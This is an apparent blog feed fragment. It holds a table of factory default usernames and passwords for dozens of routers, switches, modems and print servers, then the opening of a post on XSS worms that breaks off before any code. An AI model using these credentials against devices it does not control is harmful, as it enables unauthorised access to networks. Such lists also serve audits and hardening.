&amp;nbsp;&amp;nbsp; ADC_Kentrox_Pacesetter_Router&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; n/a&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; secret&lt;br /&gt;
&amp;nbsp;&amp;nbsp; All_Zyxel_equipment&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; n/a&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 1234&lt;br /&gt;
&amp;nbsp;&amp;nbsp; AT&amp;amp;T_3B2_firmware&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; n/a&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mcp&lt;br /&gt;
&amp;nbsp;&amp;nbsp; AXIS200/240[netcam]&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; root&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; pass&lt;br /&gt;
&amp;nbsp;&amp;nbsp; Bay_routers&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Manager&amp;nbsp; &amp;lt;blank&amp;gt;&lt;br /&gt;
&amp;nbsp;&amp;nbsp; Bay_routers&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; User&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;blank&amp;gt;&lt;br /&gt;
&amp;nbsp;&amp;nbsp; Bay350T_Switch&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; n/a&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; NetICs&lt;br /&gt;
&amp;nbsp;&amp;nbsp; BaySuperstackII&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; security security&lt;br /&gt;
&amp;nbsp;&amp;nbsp; BRASX/I01_(DataCom)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; n/a&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; letmein&lt;br /&gt;
&amp;nbsp;&amp;nbsp; BreezeCOM_adapters2.x(console_only)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; n/a&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; laflaf&lt;br /&gt;
&amp;nbsp;&amp;nbsp; BreezeCOM_adapters3.x(console_only)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; n/a&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Master&lt;br /&gt;
&amp;nbsp;&amp;nbsp; BreezeCOM_adapters4.x(console_only)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; n/a&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Super&lt;br /&gt;
&amp;nbsp;&amp;nbsp; Cayman_DSL&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; n/a&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;blank&amp;gt;&lt;br /&gt;
&amp;nbsp;&amp;nbsp; Crystalview_outsideview32&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; n/a&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; crystal&lt;br /&gt;
&amp;nbsp;&amp;nbsp; digiCorp_(viper?)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; n/a&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; BRIDGE&lt;br /&gt;
&amp;nbsp;&amp;nbsp; digiCorp_(viper?)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; n/a&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; password&lt;br /&gt;
&amp;nbsp;&amp;nbsp; DLink_hub/switches&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; D-Link&amp;nbsp;&amp;nbsp; D-Link&lt;br /&gt;
&amp;nbsp;&amp;nbsp; Flowpoint_DSL_installed_by_Covad&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; n/a&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; password&lt;br /&gt;
&amp;nbsp;&amp;nbsp; Flowpoint_DSL2000&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; admin&amp;nbsp;&amp;nbsp;&amp;nbsp; admin&lt;br /&gt;
&amp;nbsp;&amp;nbsp; Jetform_design&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Jetform&amp;nbsp; n/a&lt;br /&gt;
&amp;nbsp;&amp;nbsp; Lantronics_Terminal_server_port&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 7000&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; n/a&lt;br /&gt;
&amp;nbsp;&amp;nbsp; Lantronics_Terminal_server_port&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 7000&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; n/a&lt;br /&gt;
&amp;nbsp;&amp;nbsp; Linksys_DSL&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; n/a&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; admin&lt;br /&gt;
&amp;nbsp;&amp;nbsp; Livingston_IRX_router&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; !root&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;blank&amp;gt;&lt;br /&gt;
&amp;nbsp;&amp;nbsp; Livingston_officerouter&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; !root&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;blank&amp;gt;&lt;br /&gt;
&amp;nbsp;&amp;nbsp; Livingston_portmaster2/3&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; !root&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;blank&amp;gt;&lt;br /&gt;
&amp;nbsp;&amp;nbsp; Microplex_print_server&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; root&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; root&lt;br /&gt;
&amp;nbsp;&amp;nbsp; Motorola-Cablerouter&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; cablecom router&lt;br /&gt;
&amp;nbsp;&amp;nbsp; Netopia_7100&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;blank&amp;gt;&amp;nbsp; &amp;lt;blank&amp;gt;&lt;br /&gt;
&amp;nbsp;&amp;nbsp; Netopia_9500&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; netopia&amp;nbsp; netopia&lt;br /&gt;
&amp;nbsp;&amp;nbsp; Orbitor_console&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; n/a&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; password&lt;br /&gt;
&amp;nbsp;&amp;nbsp; Orbitor_console&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; n/a&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; BRIDGE&lt;br /&gt;
&amp;nbsp;&amp;nbsp; Osicom(Datacom)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; sysadm&amp;nbsp;&amp;nbsp; sysadm&lt;br /&gt;
&amp;nbsp;&amp;nbsp; Shiva&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; root&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;blank&amp;gt;&lt;br /&gt;
&amp;nbsp;&amp;nbsp; Shiva&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Guest&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;blank&amp;gt;&lt;br /&gt;
&amp;nbsp;&amp;nbsp; SpeedstreamDSL(Efficient)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; n/a&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; admin&lt;br /&gt;
&amp;nbsp;&amp;nbsp; UClinux_for_UCsimm&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; root&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; uClinux&lt;br /&gt;
&amp;nbsp;&amp;nbsp; Webramp&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; wradmin&amp;nbsp; trancell&lt;br /&gt;
&amp;nbsp;&amp;nbsp; Alteon ACEswitch 180e (web)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; admin&amp;nbsp;&amp;nbsp;&amp;nbsp; admin&lt;br /&gt;
&amp;nbsp;&amp;nbsp; Alteon ACEswitch 180e (telnet)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; admin&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;blank&amp;gt;&lt;br /&gt;
&amp;nbsp;&amp;nbsp; NETPrint (all)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; n/a&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; sysadm&lt;br /&gt;
&amp;nbsp;&amp;nbsp; Xylan Omniswitch&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; admin&amp;nbsp;&amp;nbsp;&amp;nbsp; switch&lt;br /&gt;
&amp;nbsp;&amp;nbsp; Xylan Omniswitch&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; diag&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; switch&lt;br /&gt;
&amp;nbsp;&amp;nbsp; AcceleratedDSL CPE and DSLAM&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; sysadm&amp;nbsp;&amp;nbsp; anicust&lt;br /&gt;
&amp;nbsp;&amp;nbsp; Arrowpoint&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; admin&amp;nbsp;&amp;nbsp;&amp;nbsp; system&lt;br /&gt;
&amp;nbsp;&amp;nbsp; Cabletron (routers &amp;amp; switches)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;blank&amp;gt;&amp;nbsp; &amp;lt;blank&amp;gt;&lt;br /&gt;
&amp;nbsp;&amp;nbsp; &lt;br /&gt;
&amp;nbsp;&amp;nbsp; Needed&lt;br /&gt;
&amp;nbsp;&amp;nbsp; &lt;br /&gt;
&amp;nbsp;&amp;nbsp; Packeteer&lt;br /&gt;
&amp;nbsp;&amp;nbsp; Cabletron&lt;br /&gt;
&amp;nbsp;&amp;nbsp; SMC&lt;br /&gt;
&amp;nbsp;&amp;nbsp; Accton&lt;br /&gt;
&amp;nbsp;&amp;nbsp; &lt;br /&gt;
&amp;nbsp; &lt;/div&gt;
&lt;h2 style=&quot;text-align: left;&quot;&gt;
&lt;br /&gt;&amp;nbsp;&lt;/h2&gt;
&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://intohackingwithuntamed.blogspot.com/feeds/3139972034500740363/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/8981203489549642442/3139972034500740363?isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8981203489549642442/posts/default/3139972034500740363'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8981203489549642442/posts/default/3139972034500740363'/><link rel='alternate' type='text/html' href='http://intohackingwithuntamed.blogspot.com/2012/10/default-usernames-and-password.html' title=' Default usernames and password'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiBUabC0oa_PqLdV9tK9_MbKeaJFeeg451j3hnF-ZEiUQmJGYu0GtoPIl7xAz9kRn-WWWBz9Uw93RyvOqmP6glLM77fbNsx4vF1D1J6eFM-Z5GJTG8BE_dyClt6M15RJqgIVlxoipFOD2U/s72-c/2210-003.jpg" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8981203489549642442.post-4383205940913988479</id><published>2012-10-11T06:47:00.001-07:00</published><updated>2012-10-11T06:48:33.888-07:00</updated><title type='text'>XSS worms</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;h2 style=&quot;text-align: left;&quot;&gt;
&lt;span style=&quot;color: #a64d79;&quot;&gt;XSS worms&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;color: #3d85c6; text-align: left;&quot;&gt;
&lt;br /&gt;
&lt;/h2&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhRAR2THtQlTAxCwQNa2H_1t_Yvd6VjIDbkalFhsmVkN53JsWp7IZK7HATnOVMizv3dkrNzKWmC6EAxoOAx_KwKINT_6XGFWuAIAcpuHWu5aoX1SziOsw_ivpRJVFCtl9TBKwf0mZvckDE/s1600/SamyWormCode.jpg&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;200&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhRAR2THtQlTAxCwQNa2H_1t_Yvd6VjIDbkalFhsmVkN53JsWp7IZK7HATnOVMizv3dkrNzKWmC6EAxoOAx_KwKINT_6XGFWuAIAcpuHWu5aoX1SziOsw_ivpRJVFCtl9TBKwf0mZvckDE/s320/SamyWormCode.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgzO4K_wQ_DEJ3K6EutZ2E16xMlkNcIfYAty6RiHZAOJbewmTV4y7WIAP79P-BD3_5d14SgPdPIUbOW_0XAfVP6tjbwHRxyBO5gOFQ_dHcgPOYlDmUqMCqD1n-3JWOVq4nf8g0d7I-X9cM/s1600/wifi-scanner.jpg&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;br /&gt;
&lt;/a&gt;&lt;/div&gt;
&lt;h2 style=&quot;color: #3d85c6; text-align: left;&quot;&gt;
&lt;/h2&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
XSS worms are pretty neat, interactive worms that propagate by using a client&#39;s browser to progressively infect other profiles in some way. I wrote my own worm a while back, and I wanted to talk about how it worked, how it was affective, and what challenges I faced.&lt;br /&gt;
&lt;br /&gt;
